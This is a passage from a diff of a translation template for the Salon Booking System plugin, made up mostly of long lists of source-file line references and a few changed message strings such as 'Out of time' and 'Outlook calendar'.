build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1313, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:760, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:361, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:644, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:299, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:514, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:502, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1313, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:760, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:361, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:644, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:299, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:514, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:502, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1313, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:760, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:361, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:468\n-msgid \"Unique identifier for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fcancel_booking.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46\n+msgid \"Out of time\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:58, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:130, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:163, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:218, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:247, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:276, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166, src\u002FSLB_API\u002FController\u002FServices_Controller.php:113, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:60, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:176, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:130, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:247, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:276, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:113, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:176, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:130, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:247, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:276, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:176\n-msgid \"Start date.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53\n+msgid \"Outlook calendar\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:64, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:138, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:170, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:225, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:254, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:283, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173, src\u002FSLB_API\u002FController\u002FServices_Controller.php:120, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:64, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:254, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:283, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:120, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:64, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:138, 